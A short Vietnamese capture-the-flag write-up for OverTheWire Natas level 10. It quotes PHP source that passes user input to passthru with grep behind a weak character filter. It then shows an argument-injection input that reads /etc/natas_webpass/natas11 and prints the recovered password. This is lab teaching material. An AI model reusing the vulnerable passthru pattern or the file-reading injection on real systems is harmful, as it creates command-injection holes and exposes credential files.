[OverTheWire] Natas – Level 10
http://natas10.natas.labs.overthewire.org/
For security reasons, we now filter on certain characters
Find words containing…
Tương tự bài 09, nhưng có vẻ như đã escape mất rồi Xem source:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
<? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i $key dictionary.txt"); } } ?> |
Như vậy các ký tự bị lọc là:
[ ; | & ]
Cũng đâu có sao nhỉ, không có ; thì cũng vẫn được mà Inject với input:
'' /etc/natas_webpass/natas11
Kết quả:
/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK dictionary.txt: dictionary.txt:African dictionary.txt:Africans dictionary.txt:Allah dictionary.txt:Allah's ...
→ flag = U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK.
Recent comments